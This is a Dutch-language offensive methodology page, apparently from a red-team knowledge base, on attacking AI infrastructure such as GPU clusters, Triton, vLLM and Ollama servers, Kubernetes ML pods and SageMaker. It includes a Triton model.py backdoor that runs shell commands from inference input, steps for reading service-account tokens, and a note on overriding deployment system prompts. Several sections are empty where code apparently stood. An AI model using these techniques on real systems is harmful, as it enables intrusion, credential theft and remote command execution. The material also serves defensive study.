AI Infrastructure Exploitation

Methodologie voor het exploiteren van GPU-clusters, model-serving-frameworks (Triton, vLLM, Ollama), Kubernetes ML-platforms, cloud-AI-services en cost-amplification-aanvallen.

AI Infrastructure Exploitation

AI-infrastructuur combineert traditionele aanvalsoppervlakken met AI-specifieke zorgen: model-serving-frameworks met ongeauthenticeerde API's, GPU-drivers met toegang op kernelniveau, multi-tenant-inferentieplatforms met gedeeld geheugen, en cloud-AI-services met factureringsmodellen die rijp zijn voor cost amplification.

Aanvalsoppervlakken van infrastructuur

AI-infrastructuur omvat verschillende afzonderlijke doelcategorieën, elk met unieke exploitatiekenmerken.

Model-serving-frameworks (Triton, vLLM, Ollama) worden vaak ingezet zonder authenticatie, waardoor modelenumeratie, configuratiedetails en inferentie-endpoints worden blootgesteld. Het risico met de hoogste severity is code-uitvoering via custom backends -- Triton's Python-backend voert willekeurige code uit tijdens het laden en de inferentie van het model. Ongeauthenticeerde management-API's maken het laden van door de aanvaller gecontroleerde modellen mogelijk, waardoor elke blootgestelde modelserver een potentieel bruggenhoofd naar de inferentie-infrastructuur wordt.

GPU-clusters introduceren aanvalsoppervlakken op hardwareniveau die afwezig zijn in traditionele infrastructuur. Niet-geïnitialiseerd GPU-geheugen kan data van eerdere tenants bevatten (modelgewichten, trainingsdata, API-sleutels). NVLink- en NVSwitch-fabrics maken peer-to-peer-geheugentoegang over GPU's mogelijk als isolatie niet wordt afgedwongen. CUDA IPC-handles maken cross-process GPU-geheugentoegang mogelijk. NVIDIA DCGM-management-API's op poort 5555 bieden clusterbrede GPU-controle wanneer ze zonder authenticatie zijn blootgesteld.

ML-pijplijnen op Kubernetes over-provisioneren vaak permissies en kennen cluster-admin toe aan de serviceaccounts van trainingsjobs. Gedeelde opslag-mounts (/models, /data, /checkpoints) maken laterale beweging mogelijk van een gecompromitteerde trainingsjob naar vervanging van het productiemodel of datavergiftiging. CI/CD-systemen die training en deployment automatiseren zijn doelen van hoge waarde -- het compromitteren van de pijplijn produceert persistente, geautomatiseerde backdoor-injectie over alle toekomstige modelversies.

GPU-clusteraanvallen

Enumeratie van het aanvalsoppervlak

Enumereer vanuit een gecompromitteerde container de GPU-infrastructuur:

GPU-geheugen-side-channels

Geheugenresten: Alloceer niet-geïnitialiseerd GPU-geheugen via torch.empty(1024, 1024, device='cuda') en scan op niet-nulwaarden. Op gedeelde infrastructuur zijn de modelgewichten, trainingsdata en API-sleutels van eerdere tenants mogelijk te herstellen.

Timing-aanvallen: Meet de allocatielatentie over vele iteraties. Een bimodale verdeling in allocatietijden wijst op interferentie van mede-tenants en onthult workload-patronen en geheugendruk.

NVLink/NVSwitch-risico's

Kwetsbaarheden in model serving

Reconnaissance-methodologie

1. 1

   Identificeer het serving-framework

   Test gangbare endpoints om te bepalen welk framework draait.

   Framework	Health-endpoint	Standaardpoort
   Triton	/v2/health/ready	8000 (HTTP), 8001 (gRPC)
   vLLM	/health	8000
   Ollama	/api/tags	11434

2. 2

   Controleer op authenticatie

   De meeste model-serving-frameworks worden standaard zonder authenticatie ingezet. Test ongeauthenticeerde toegang tot de endpoints voor modellijsten en inferentie.

3. 3

   Enumereer modellen en configuraties

   Onttrek modelnamen, architecturen, input-/outputspecificaties en backend-types. Let op Python-backends (code-uitvoering) en ensemble-pijplijnen.

4. 4

   Test op exploiteerbare functies

   Controleer model-control-API's (load/unload), metrics-endpoints (informatieblootstelling) en uitvoering van custom backends.

Framework-specifieke aanvallen

Triton is het meest functierijke doelwit:

Kritiek risico: Triton's Python-backend voert willekeurige code uit. Als je een model in de repository kunt plaatsen, draait model.py tijdens de inferentie:

# model.py in Triton's model repository
class TritonPythonModel:
    def initialize(self, args):
        os.system('id > /tmp/pwned')  # Runs on model load
    def execute(self, requests):
        # Use inference input as command channel
        cmd = pb_utils.get_input_tensor_by_name(
            requests[0], 'INPUT').as_numpy()[0].decode()
        output = subprocess.getoutput(cmd)

vLLM stelt een OpenAI-compatibele API bloot, doorgaans zonder authenticatie:

Test op overschrijven van de systeemprompt door een system-bericht te sturen dat de bedoelde prompt van de deployment tegenspreekt.

Ollama bindt standaard aan localhost, maar wordt vaak blootgesteld op 0.0.0.0 zonder authenticatie:

Aanvallen op Kubernetes ML-platforms

Privilege-escalatie vanuit ML-pods

ML-pods hebben vaak excessieve permissies. Enumereer na het compromitteren van een trainingsjob de Kubernetes-toegang:

1. 1

   Lees de serviceaccount-token

   Controleer /var/run/secrets/kubernetes.io/serviceaccount/token. Serviceaccounts van ML-platforms zijn vaak gebonden aan cluster-admin.

2. 2

   Enumereer toegankelijke resources

   Test toegang tot clusterbrede secrets, pods, nodes, namespaces en deployments met de serviceaccount-token tegen de Kubernetes-API.

3. 3

   Toegang tot gedeelde opslag

   Controleer gangbare ML-mountpunten op laterale toegang.

Aanvalspaden via gedeelde opslag

Exploitatie van cloud-AI-services

Cloud-specifieke aanvalsoppervlakken

Enumereer vanuit een gecompromitteerde SageMaker-notebook alle endpoints (ingezette modellen), modellen (met S3-artefactpaden) en trainingsjobs (met IAM-rollen en hyperparameters) via de boto3 SageMaker-client.

Cost-amplification-aanvallen

SSRF bij inferentieservices

Model-serving-endpoints die URL's als input accepteren (beeldclassificatie, webscraping, documentverwerking) zijn SSRF-vectoren.

Prioritaire SSRF-doelen

Gerelateerde onderwerpen

• AI Supply Chain Exploitation -- Supplychain-aanvallen die infrastructuur van binnenuit compromitteren
• AI Application Security -- Kwetsbaarheden op applicatieniveau bij infrastructuur-endpoints
• MCP Tool Exploitation -- MCP-servers die draaien op exploiteerbare infrastructuur
• Advanced Reconnaissance -- Fingerprinting van model-serving-frameworks als recon-doelen

Referenties

• OWASP Machine Learning Security Top 10 — ML infrastructure risks
• NVIDIA Triton Inference Server — Model serving infrastructure
• Kubernetes Security Best Practices (CISA, 2022) — K8s security for ML clusters